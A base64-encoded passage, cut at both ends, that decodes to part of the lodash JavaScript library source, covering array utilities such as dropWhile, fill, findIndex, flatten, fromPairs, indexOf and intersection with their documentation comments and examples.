XJzLCBmdW5jdGlvbihvKSB7IHJldHVybiAhby5hY3RpdmU7IH0pO1xuICAgICAqIC8vID0+IG9iamVjdHMgZm9yIFsncGViYmxlcyddXG4gICAgICpcbiAgICAgKiAvLyBUaGUgYF8ubWF0Y2hlc2AgaXRlcmF0ZWUgc2hvcnRoYW5kLlxuICAgICAqIF8uZHJvcFdoaWxlKHVzZXJzLCB7ICd1c2VyJzogJ2Jhcm5leScsICdhY3RpdmUnOiBmYWxzZSB9KTtcbiAgICAgKiAvLyA9PiBvYmplY3RzIGZvciBbJ2ZyZWQnLCAncGViYmxlcyddXG4gICAgICpcbiAgICAgKiAvLyBUaGUgYF8ubWF0Y2hlc1Byb3BlcnR5YCBpdGVyYXRlZSBzaG9ydGhhbmQuXG4gICAgICogXy5kcm9wV2hpbGUodXNlcnMsIFsnYWN0aXZlJywgZmFsc2VdKTtcbiAgICAgKiAvLyA9PiBvYmplY3RzIGZvciBbJ3BlYmJsZXMnXVxuICAgICAqXG4gICAgICogLy8gVGhlIGBfLnByb3BlcnR5YCBpdGVyYXRlZSBzaG9ydGhhbmQuXG4gICAgICogXy5kcm9wV2hpbGUodXNlcnMsICdhY3RpdmUnKTtcbiAgICAgKiAvLyA9PiBvYmplY3RzIGZvciBbJ2Jhcm5leScsICdmcmVkJywgJ3BlYmJsZXMnXVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGRyb3BXaGlsZShhcnJheSwgcHJlZGljYXRlKSB7XG4gICAgICByZXR1cm4gKGFycmF5ICYmIGFycmF5Lmxlbmd0aClcbiAgICAgICAgPyBiYXNlV2hpbGUoYXJyYXksIGdldEl0ZXJhdGVlKHByZWRpY2F0ZSwgMyksIHRydWUpXG4gICAgICAgIDogW107XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogRmlsbHMgZWxlbWVudHMgb2YgYGFycmF5YCB3aXRoIGB2YWx1ZWAgZnJvbSBgc3RhcnRgIHVwIHRvLCBidXQgbm90XG4gICAgICogaW5jbHVkaW5nLCBgZW5kYC5cbiAgICAgKlxuICAgICAqICoqTm90ZToqKiBUaGlzIG1ldGhvZCBtdXRhdGVzIGBhcnJheWAuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMy4yLjBcbiAgICAgKiBAY2F0ZWdvcnkgQXJyYXlcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgdG8gZmlsbC5cbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBmaWxsIGBhcnJheWAgd2l0aC5cbiAgICAgKiBAcGFyYW0ge251bWJlcn0gW3N0YXJ0PTBdIFRoZSBzdGFydCBwb3NpdGlvbi5cbiAgICAgKiBAcGFyYW0ge251bWJlcn0gW2VuZD1hcnJheS5sZW5ndGhdIFRoZSBlbmQgcG9zaXRpb24uXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIGBhcnJheWAuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciBhcnJheSA9IFsxLCAyLCAzXTtcbiAgICAgKlxuICAgICAqIF8uZmlsbChhcnJheSwgJ2EnKTtcbiAgICAgKiBjb25zb2xlLmxvZyhhcnJheSk7XG4gICAgICogLy8gPT4gWydhJywgJ2EnLCAnYSddXG4gICAgICpcbiAgICAgKiBfLmZpbGwoQXJyYXkoMyksIDIpO1xuICAgICAqIC8vID0+IFsyLCAyLCAyXVxuICAgICAqXG4gICAgICogXy5maWxsKFs0LCA2LCA4LCAxMF0sICcqJywgMSwgMyk7XG4gICAgICogLy8gPT4gWzQsICcqJywgJyonLCAxMF1cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBmaWxsKGFycmF5LCB2YWx1ZSwgc3RhcnQsIGVuZCkge1xuICAgICAgdmFyIGxlbmd0aCA9IGFycmF5ID09IG51bGwgPyAwIDogYXJyYXkubGVuZ3RoO1xuICAgICAgaWYgKCFsZW5ndGgpIHtcbiAgICAgICAgcmV0dXJuIFtdO1xuICAgICAgfVxuICAgICAgaWYgKHN0YXJ0ICYmIHR5cGVvZiBzdGFydCAhPSAnbnVtYmVyJyAmJiBpc0l0ZXJhdGVlQ2FsbChhcnJheSwgdmFsdWUsIHN0YXJ0KSkge1xuICAgICAgICBzdGFydCA9IDA7XG4gICAgICAgIGVuZCA9IGxlbmd0aDtcbiAgICAgIH1cbiAgICAgIHJldHVybiBiYXNlRmlsbChhcnJheSwgdmFsdWUsIHN0YXJ0LCBlbmQpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoaXMgbWV0aG9kIGlzIGxpa2UgYF8uZmluZGAgZXhjZXB0IHRoYXQgaXQgcmV0dXJucyB0aGUgaW5kZXggb2YgdGhlIGZpcnN0XG4gICAgICogZWxlbWVudCBgcHJlZGljYXRlYCByZXR1cm5zIHRydXRoeSBmb3IgaW5zdGVhZCBvZiB0aGUgZWxlbWVudCBpdHNlbGYuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMS4xLjBcbiAgICAgKiBAY2F0ZWdvcnkgQXJyYXlcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgdG8gaW5zcGVjdC5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbcHJlZGljYXRlPV8uaWRlbnRpdHldIFRoZSBmdW5jdGlvbiBpbnZva2VkIHBlciBpdGVyYXRpb24uXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFtmcm9tSW5kZXg9MF0gVGhlIGluZGV4IHRvIHNlYXJjaCBmcm9tLlxuICAgICAqIEByZXR1cm5zIHtudW1iZXJ9IFJldHVybnMgdGhlIGluZGV4IG9mIHRoZSBmb3VuZCBlbGVtZW50LCBlbHNlIGAtMWAuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciB1c2VycyA9IFtcbiAgICAgKiAgIHsgJ3VzZXInOiAnYmFybmV5JywgICdhY3RpdmUnOiBmYWxzZSB9LFxuICAgICAqICAgeyAndXNlcic6ICdmcmVkJywgICAgJ2FjdGl2ZSc6IGZhbHNlIH0sXG4gICAgICogICB7ICd1c2VyJzogJ3BlYmJsZXMnLCAnYWN0aXZlJzogdHJ1ZSB9XG4gICAgICogXTtcbiAgICAgKlxuICAgICAqIF8uZmluZEluZGV4KHVzZXJzLCBmdW5jdGlvbihvKSB7IHJldHVybiBvLnVzZXIgPT0gJ2Jhcm5leSc7IH0pO1xuICAgICAqIC8vID0+IDBcbiAgICAgKlxuICAgICAqIC8vIFRoZSBgXy5tYXRjaGVzYCBpdGVyYXRlZSBzaG9ydGhhbmQuXG4gICAgICogXy5maW5kSW5kZXgodXNlcnMsIHsgJ3VzZXInOiAnZnJlZCcsICdhY3RpdmUnOiBmYWxzZSB9KTtcbiAgICAgKiAvLyA9PiAxXG4gICAgICpcbiAgICAgKiAvLyBUaGUgYF8ubWF0Y2hlc1Byb3BlcnR5YCBpdGVyYXRlZSBzaG9ydGhhbmQuXG4gICAgICogXy5maW5kSW5kZXgodXNlcnMsIFsnYWN0aXZlJywgZmFsc2VdKTtcbiAgICAgKiAvLyA9PiAwXG4gICAgICpcbiAgICAgKiAvLyBUaGUgYF8ucHJvcGVydHlgIGl0ZXJhdGVlIHNob3J0aGFuZC5cbiAgICAgKiBfLmZpbmRJbmRleCh1c2VycywgJ2FjdGl2ZScpO1xuICAgICAqIC8vID0+IDJcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBmaW5kSW5kZXgoYXJyYXksIHByZWRpY2F0ZSwgZnJvbUluZGV4KSB7XG4gICAgICB2YXIgbGVuZ3RoID0gYXJyYXkgPT0gbnVsbCA/IDAgOiBhcnJheS5sZW5ndGg7XG4gICAgICBpZiAoIWxlbmd0aCkge1xuICAgICAgICByZXR1cm4gLTE7XG4gICAgICB9XG4gICAgICB2YXIgaW5kZXggPSBmcm9tSW5kZXggPT0gbnVsbCA/IDAgOiB0b0ludGVnZXIoZnJvbUluZGV4KTtcbiAgICAgIGlmIChpbmRleCA8IDApIHtcbiAgICAgICAgaW5kZXggPSBuYXRpdmVNYXgobGVuZ3RoICsgaW5kZXgsIDApO1xuICAgICAgfVxuICAgICAgcmV0dXJuIGJhc2VGaW5kSW5kZXgoYXJyYXksIGdldEl0ZXJhdGVlKHByZWRpY2F0ZSwgMyksIGluZGV4KTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGlzIG1ldGhvZCBpcyBsaWtlIGBfLmZpbmRJbmRleGAgZXhjZXB0IHRoYXQgaXQgaXRlcmF0ZXMgb3ZlciBlbGVtZW50c1xuICAgICAqIG9mIGBjb2xsZWN0aW9uYCBmcm9tIHJpZ2h0IHRvIGxlZnQuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMi4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgQXJyYXlcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgdG8gaW5zcGVjdC5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbcHJlZGljYXRlPV8uaWRlbnRpdHldIFRoZSBmdW5jdGlvbiBpbnZva2VkIHBlciBpdGVyYXRpb24uXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFtmcm9tSW5kZXg9YXJyYXkubGVuZ3RoLTFdIFRoZSBpbmRleCB0byBzZWFyY2ggZnJvbS5cbiAgICAgKiBAcmV0dXJucyB7bnVtYmVyfSBSZXR1cm5zIHRoZSBpbmRleCBvZiB0aGUgZm91bmQgZWxlbWVudCwgZWxzZSBgLTFgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiB2YXIgdXNlcnMgPSBbXG4gICAgICogICB7ICd1c2VyJzogJ2Jhcm5leScsICAnYWN0aXZlJzogdHJ1ZSB9LFxuICAgICAqICAgeyAndXNlcic6ICdmcmVkJywgICAgJ2FjdGl2ZSc6IGZhbHNlIH0sXG4gICAgICogICB7ICd1c2VyJzogJ3BlYmJsZXMnLCAnYWN0aXZlJzogZmFsc2UgfVxuICAgICAqIF07XG4gICAgICpcbiAgICAgKiBfLmZpbmRMYXN0SW5kZXgodXNlcnMsIGZ1bmN0aW9uKG8pIHsgcmV0dXJuIG8udXNlciA9PSAncGViYmxlcyc7IH0pO1xuICAgICAqIC8vID0+IDJcbiAgICAgKlxuICAgICAqIC8vIFRoZSBgXy5tYXRjaGVzYCBpdGVyYXRlZSBzaG9ydGhhbmQuXG4gICAgICogXy5maW5kTGFzdEluZGV4KHVzZXJzLCB7ICd1c2VyJzogJ2Jhcm5leScsICdhY3RpdmUnOiB0cnVlIH0pO1xuICAgICAqIC8vID0+IDBcbiAgICAgKlxuICAgICAqIC8vIFRoZSBgXy5tYXRjaGVzUHJvcGVydHlgIGl0ZXJhdGVlIHNob3J0aGFuZC5cbiAgICAgKiBfLmZpbmRMYXN0SW5kZXgodXNlcnMsIFsnYWN0aXZlJywgZmFsc2VdKTtcbiAgICAgKiAvLyA9PiAyXG4gICAgICpcbiAgICAgKiAvLyBUaGUgYF8ucHJvcGVydHlgIGl0ZXJhdGVlIHNob3J0aGFuZC5cbiAgICAgKiBfLmZpbmRMYXN0SW5kZXgodXNlcnMsICdhY3RpdmUnKTtcbiAgICAgKiAvLyA9PiAwXG4gICAgICovXG4gICAgZnVuY3Rpb24gZmluZExhc3RJbmRleChhcnJheSwgcHJlZGljYXRlLCBmcm9tSW5kZXgpIHtcbiAgICAgIHZhciBsZW5ndGggPSBhcnJheSA9PSBudWxsID8gMCA6IGFycmF5Lmxlbmd0aDtcbiAgICAgIGlmICghbGVuZ3RoKSB7XG4gICAgICAgIHJldHVybiAtMTtcbiAgICAgIH1cbiAgICAgIHZhciBpbmRleCA9IGxlbmd0aCAtIDE7XG4gICAgICBpZiAoZnJvbUluZGV4ICE9PSB1bmRlZmluZWQpIHtcbiAgICAgICAgaW5kZXggPSB0b0ludGVnZXIoZnJvbUluZGV4KTtcbiAgICAgICAgaW5kZXggPSBmcm9tSW5kZXggPCAwXG4gICAgICAgICAgPyBuYXRpdmVNYXgobGVuZ3RoICsgaW5kZXgsIDApXG4gICAgICAgICAgOiBuYXRpdmVNaW4oaW5kZXgsIGxlbmd0aCAtIDEpO1xuICAgICAgfVxuICAgICAgcmV0dXJuIGJhc2VGaW5kSW5kZXgoYXJyYXksIGdldEl0ZXJhdGVlKHByZWRpY2F0ZSwgMyksIGluZGV4LCB0cnVlKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBGbGF0dGVucyBgYXJyYXlgIGEgc2luZ2xlIGxldmVsIGRlZXAuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMC4xLjBcbiAgICAgKiBAY2F0ZWdvcnkgQXJyYXlcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgdG8gZmxhdHRlbi5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIG5ldyBmbGF0dGVuZWQgYXJyYXkuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8uZmxhdHRlbihbMSwgWzIsIFszLCBbNF1dLCA1XV0pO1xuICAgICAqIC8vID0+IFsxLCAyLCBbMywgWzRdXSwgNV1cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBmbGF0dGVuKGFycmF5KSB7XG4gICAgICB2YXIgbGVuZ3RoID0gYXJyYXkgPT0gbnVsbCA/IDAgOiBhcnJheS5sZW5ndGg7XG4gICAgICByZXR1cm4gbGVuZ3RoID8gYmFzZUZsYXR0ZW4oYXJyYXksIDEpIDogW107XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogUmVjdXJzaXZlbHkgZmxhdHRlbnMgYGFycmF5YC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAzLjAuMFxuICAgICAqIEBjYXRlZ29yeSBBcnJheVxuICAgICAqIEBwYXJhbSB7QXJyYXl9IGFycmF5IFRoZSBhcnJheSB0byBmbGF0dGVuLlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgbmV3IGZsYXR0ZW5lZCBhcnJheS5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5mbGF0dGVuRGVlcChbMSwgWzIsIFszLCBbNF1dLCA1XV0pO1xuICAgICAqIC8vID0+IFsxLCAyLCAzLCA0LCA1XVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGZsYXR0ZW5EZWVwKGFycmF5KSB7XG4gICAgICB2YXIgbGVuZ3RoID0gYXJyYXkgPT0gbnVsbCA/IDAgOiBhcnJheS5sZW5ndGg7XG4gICAgICByZXR1cm4gbGVuZ3RoID8gYmFzZUZsYXR0ZW4oYXJyYXksIElORklOSVRZKSA6IFtdO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFJlY3Vyc2l2ZWx5IGZsYXR0ZW4gYGFycmF5YCB1cCB0byBgZGVwdGhgIHRpbWVzLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuNC4wXG4gICAgICogQGNhdGVnb3J5IEFycmF5XG4gICAgICogQHBhcmFtIHtBcnJheX0gYXJyYXkgVGhlIGFycmF5IHRvIGZsYXR0ZW4uXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFtkZXB0aD0xXSBUaGUgbWF4aW11bSByZWN1cnNpb24gZGVwdGguXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBuZXcgZmxhdHRlbmVkIGFycmF5LlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiB2YXIgYXJyYXkgPSBbMSwgWzIsIFszLCBbNF1dLCA1XV07XG4gICAgICpcbiAgICAgKiBfLmZsYXR0ZW5EZXB0aChhcnJheSwgMSk7XG4gICAgICogLy8gPT4gWzEsIDIsIFszLCBbNF1dLCA1XVxuICAgICAqXG4gICAgICogXy5mbGF0dGVuRGVwdGgoYXJyYXksIDIpO1xuICAgICAqIC8vID0+IFsxLCAyLCAzLCBbNF0sIDVdXG4gICAgICovXG4gICAgZnVuY3Rpb24gZmxhdHRlbkRlcHRoKGFycmF5LCBkZXB0aCkge1xuICAgICAgdmFyIGxlbmd0aCA9IGFycmF5ID09IG51bGwgPyAwIDogYXJyYXkubGVuZ3RoO1xuICAgICAgaWYgKCFsZW5ndGgpIHtcbiAgICAgICAgcmV0dXJuIFtdO1xuICAgICAgfVxuICAgICAgZGVwdGggPSBkZXB0aCA9PT0gdW5kZWZpbmVkID8gMSA6IHRvSW50ZWdlcihkZXB0aCk7XG4gICAgICByZXR1cm4gYmFzZUZsYXR0ZW4oYXJyYXksIGRlcHRoKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGUgaW52ZXJzZSBvZiBgXy50b1BhaXJzYDsgdGhpcyBtZXRob2QgcmV0dXJucyBhbiBvYmplY3QgY29tcG9zZWRcbiAgICAgKiBmcm9tIGtleS12YWx1ZSBgcGFpcnNgLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuMC4wXG4gICAgICogQGNhdGVnb3J5IEFycmF5XG4gICAgICogQHBhcmFtIHtBcnJheX0gcGFpcnMgVGhlIGtleS12YWx1ZSBwYWlycy5cbiAgICAgKiBAcmV0dXJucyB7T2JqZWN0fSBSZXR1cm5zIHRoZSBuZXcgb2JqZWN0LlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLmZyb21QYWlycyhbWydhJywgMV0sIFsnYicsIDJdXSk7XG4gICAgICogLy8gPT4geyAnYSc6IDEsICdiJzogMiB9XG4gICAgICovXG4gICAgZnVuY3Rpb24gZnJvbVBhaXJzKHBhaXJzKSB7XG4gICAgICB2YXIgaW5kZXggPSAtMSxcbiAgICAgICAgICBsZW5ndGggPSBwYWlycyA9PSBudWxsID8gMCA6IHBhaXJzLmxlbmd0aCxcbiAgICAgICAgICByZXN1bHQgPSB7fTtcblxuICAgICAgd2hpbGUgKCsraW5kZXggPCBsZW5ndGgpIHtcbiAgICAgICAgdmFyIHBhaXIgPSBwYWlyc1tpbmRleF07XG4gICAgICAgIHJlc3VsdFtwYWlyWzBdXSA9IHBhaXJbMV07XG4gICAgICB9XG4gICAgICByZXR1cm4gcmVzdWx0O1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIEdldHMgdGhlIGZpcnN0IGVsZW1lbnQgb2YgYGFycmF5YC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAwLjEuMFxuICAgICAqIEBhbGlhcyBmaXJzdFxuICAgICAqIEBjYXRlZ29yeSBBcnJheVxuICAgICAqIEBwYXJhbSB7QXJyYXl9IGFycmF5IFRoZSBhcnJheSB0byBxdWVyeS5cbiAgICAgKiBAcmV0dXJucyB7Kn0gUmV0dXJucyB0aGUgZmlyc3QgZWxlbWVudCBvZiBgYXJyYXlgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLmhlYWQoWzEsIDIsIDNdKTtcbiAgICAgKiAvLyA9PiAxXG4gICAgICpcbiAgICAgKiBfLmhlYWQoW10pO1xuICAgICAqIC8vID0+IHVuZGVmaW5lZFxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGhlYWQoYXJyYXkpIHtcbiAgICAgIHJldHVybiAoYXJyYXkgJiYgYXJyYXkubGVuZ3RoKSA/IGFycmF5WzBdIDogdW5kZWZpbmVkO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIEdldHMgdGhlIGluZGV4IGF0IHdoaWNoIHRoZSBmaXJzdCBvY2N1cnJlbmNlIG9mIGB2YWx1ZWAgaXMgZm91bmQgaW4gYGFycmF5YFxuICAgICAqIHVzaW5nIFtgU2FtZVZhbHVlWmVyb2BdKGh0dHA6Ly9lY21hLWludGVybmF0aW9uYWwub3JnL2VjbWEtMjYyLzcuMC8jc2VjLXNhbWV2YWx1ZXplcm8pXG4gICAgICogZm9yIGVxdWFsaXR5IGNvbXBhcmlzb25zLiBJZiBgZnJvbUluZGV4YCBpcyBuZWdhdGl2ZSwgaXQncyB1c2VkIGFzIHRoZVxuICAgICAqIG9mZnNldCBmcm9tIHRoZSBlbmQgb2YgYGFycmF5YC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAwLjEuMFxuICAgICAqIEBjYXRlZ29yeSBBcnJheVxuICAgICAqIEBwYXJhbSB7QXJyYXl9IGFycmF5IFRoZSBhcnJheSB0byBpbnNwZWN0LlxuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIHNlYXJjaCBmb3IuXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFtmcm9tSW5kZXg9MF0gVGhlIGluZGV4IHRvIHNlYXJjaCBmcm9tLlxuICAgICAqIEByZXR1cm5zIHtudW1iZXJ9IFJldHVybnMgdGhlIGluZGV4IG9mIHRoZSBtYXRjaGVkIHZhbHVlLCBlbHNlIGAtMWAuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8uaW5kZXhPZihbMSwgMiwgMSwgMl0sIDIpO1xuICAgICAqIC8vID0+IDFcbiAgICAgKlxuICAgICAqIC8vIFNlYXJjaCBmcm9tIHRoZSBgZnJvbUluZGV4YC5cbiAgICAgKiBfLmluZGV4T2YoWzEsIDIsIDEsIDJdLCAyLCAyKTtcbiAgICAgKiAvLyA9PiAzXG4gICAgICovXG4gICAgZnVuY3Rpb24gaW5kZXhPZihhcnJheSwgdmFsdWUsIGZyb21JbmRleCkge1xuICAgICAgdmFyIGxlbmd0aCA9IGFycmF5ID09IG51bGwgPyAwIDogYXJyYXkubGVuZ3RoO1xuICAgICAgaWYgKCFsZW5ndGgpIHtcbiAgICAgICAgcmV0dXJuIC0xO1xuICAgICAgfVxuICAgICAgdmFyIGluZGV4ID0gZnJvbUluZGV4ID09IG51bGwgPyAwIDogdG9JbnRlZ2VyKGZyb21JbmRleCk7XG4gICAgICBpZiAoaW5kZXggPCAwKSB7XG4gICAgICAgIGluZGV4ID0gbmF0aXZlTWF4KGxlbmd0aCArIGluZGV4LCAwKTtcbiAgICAgIH1cbiAgICAgIHJldHVybiBiYXNlSW5kZXhPZihhcnJheSwgdmFsdWUsIGluZGV4KTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBHZXRzIGFsbCBidXQgdGhlIGxhc3QgZWxlbWVudCBvZiBgYXJyYXlgLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDAuMS4wXG4gICAgICogQGNhdGVnb3J5IEFycmF5XG4gICAgICogQHBhcmFtIHtBcnJheX0gYXJyYXkgVGhlIGFycmF5IHRvIHF1ZXJ5LlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgc2xpY2Ugb2YgYGFycmF5YC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5pbml0aWFsKFsxLCAyLCAzXSk7XG4gICAgICogLy8gPT4gWzEsIDJdXG4gICAgICovXG4gICAgZnVuY3Rpb24gaW5pdGlhbChhcnJheSkge1xuICAgICAgdmFyIGxlbmd0aCA9IGFycmF5ID09IG51bGwgPyAwIDogYXJyYXkubGVuZ3RoO1xuICAgICAgcmV0dXJuIGxlbmd0aCA/IGJhc2VTbGljZShhcnJheSwgMCwgLTEpIDogW107XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhbiBhcnJheSBvZiB1bmlxdWUgdmFsdWVzIHRoYXQgYXJlIGluY2x1ZGVkIGluIGFsbCBnaXZlbiBhcnJheXNcbiAgICAgKiB1c2luZyBbYFNhbWVWYWx1ZVplcm9gXShodHRwOi8vZWNtYS1pbnRlcm5hdGlvbmFsLm9yZy9lY21hLTI2Mi83LjAvI3NlYy1zYW1ldmFsdWV6ZXJvKVxuICAgICAqIGZvciBlcXVhbGl0eSBjb21wYXJpc29ucy4gVGhlIG9yZGVyIGFuZCByZWZlcmVuY2VzIG9mIHJlc3VsdCB2YWx1ZXMgYXJlXG4gICAgICogZGV0ZXJtaW5lZCBieSB0aGUgZmlyc3QgYXJyYXkuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMC4xLjBcbiAgICAgKiBAY2F0ZWdvcnkgQXJyYXlcbiAgICAgKiBAcGFyYW0gey4uLkFycmF5fSBbYXJyYXlzXSBUaGUgYXJyYXlzIHRvIGluc3BlY3QuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBuZXcgYXJyYXkgb2YgaW50ZXJzZWN0aW5nIHZhbHVlcy5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5pbnRlcnNlY3Rpb24oWzIsIDFdLCBbMiwgM10pO1xuICAgICAqIC8vID0+IFsyXVxuICAgICAqL1xuICAgIHZhciBpbnRlcnNlY3Rpb24gPSBiYXNlUmVzdChmdW5jdGlvbihhcnJheXMpIHtcbiAgICAgIHZhciBtYXBwZWQgPSBhcnJheU1hcChhcnJheXMsIGNhc3RBcnJheUxpa2VPYmplY3QpO1xuICAgICAgcmV0dXJuIChtYXBwZWQubGVuZ3RoICYmIG1hcHBlZFswXSA9PT0gYXJyYXlzWzBdKVxuICAgICAgICA/IGJhc2VJbnRlcnNlY3Rpb24obWFwcGVkKVxuICAgICAgICA6IFtdO1xuICAgIH0pO1xuXG4gICAgLyoqXG4gICAgICogVGhpcyBtZXRob2QgaXMgbGlrZSBgXy5pbnRlcnNlY3Rpb25gIGV4Y2VwdCB0aGF0IGl0IGFjY2VwdHMgYGl0ZXJhdGVlYFxuICAgICAqIHdoaWNoIGlzIGludm9rZWQgZm9yIGVhY2ggZWxlbWVudCBvZiBlYWNoIGBhcnJheXNgIHRvIGdlbmVyYXRlIHRoZSBjcml0ZXJpb25cbiAgICAgKiBieSB3aGljaCB0aGV5J3JlIGNvbXBhcmVkLiBUaGUgb3JkZXIgYW5kIHJlZmVyZW5jZXMgb2YgcmVzdWx0IHZhbHVlcyBhcmVcbiAgICAgKiBkZXRlcm1pbmVkIGJ5IHRoZSBmaXJzdCBhcnJheS4gVGhlIGl0ZXJhdGVlIGlzIGludm9rZWQgd2l0aCBvbmUgYXJndW1lbnQ6XG4gICAgICogKHZhbHVlKS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBBcnJheVxuICAgICAqIEBwYXJhbSB7Li4uQXJyYXl9IFthcnJheXNdIFRoZSBhcnJheXMgdG8gaW5zcGVjdC5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbaXRlcmF0ZWU9Xy5pZGVudGl0eV0gVGhlIGl0ZXJhdGVlIGludm9rZWQgcGVyIGVsZW1lbnQuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBuZXcgYXJyYXkgb2YgaW50ZXJzZWN0aW5nIHZhbHVlcy5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5pbnRlcnNlY3Rpb25CeShbMi4xLCAxLjJdLCBbMi4zLCAzLjRdLCBNYXRoLmZsb29yKTtcbiAgICAgKiAvLyA9PiBbMi4xXVxuICAgICAqXG4gICAgICogLy8gVGhlIGBfLnByb3BlcnR5YCBpdGVyYXRlZSBzaG9ydGhhbmQuXG4gICAgICogXy5pbnRlcnNlY3Rpb25CeShbeyAneCc6IDEgfV0sIFt7ICd4JzogMiB9LCB7ICd4JzogMSB9XSwgJ3gnKTtcbiAgICAgKiAvLyA9PiBbeyAneCc6IDEgfV1cbiAgICAgKi9cbiAgICB2YXIgaW50ZXJzZWN0aW9uQnkgPSBiYXNlUmVzdChmdW5jdGlvbihhcnJheXMpIHtcbiAgICAgIHZhciBpdGVyYXRlZSA9IGxhc3QoYXJyYXlzKSxcbiAgICAgICAgICBtYXBwZWQgPSBhcnJheU1hcChhcnJheXMsIGNhc3RBcnJheUxpa2VPYmplY3QpO1xuXG4gICAgICBpZiAoaXRlcmF0ZWUgPT09IGxhc3QobWFwcGVkKSkge1xuICAgICAgICBpdGVyYXRlZSA9IHVuZGVmaW5lZDtcbiAgICAgIH0gZWxzZSB7XG4gICAgICAgIG1hcHBlZC5wb3AoKTtcbiAgICAgIH1cbiAgICAgIHJldHVybiAobWFwcGVkLmxlbmd0aCAmJiBtYXBwZWRbMF0gPT09IGFycmF5c1swXSlcbiAgICAgICAgPyBiYXNlSW50ZXJzZWN0aW9uKG1hcHBlZCwgZ2V0SXRlcmF0ZWUoaXRlcmF0ZWUsIDIpKVxuICAgICAgICA6IFtdO1xuICAgIH0pO1xuXG4gICAgLyoqXG4gICAgICogVGhpcyBtZXRob2QgaXMgbGlrZSBgXy5pbnRlcnNlY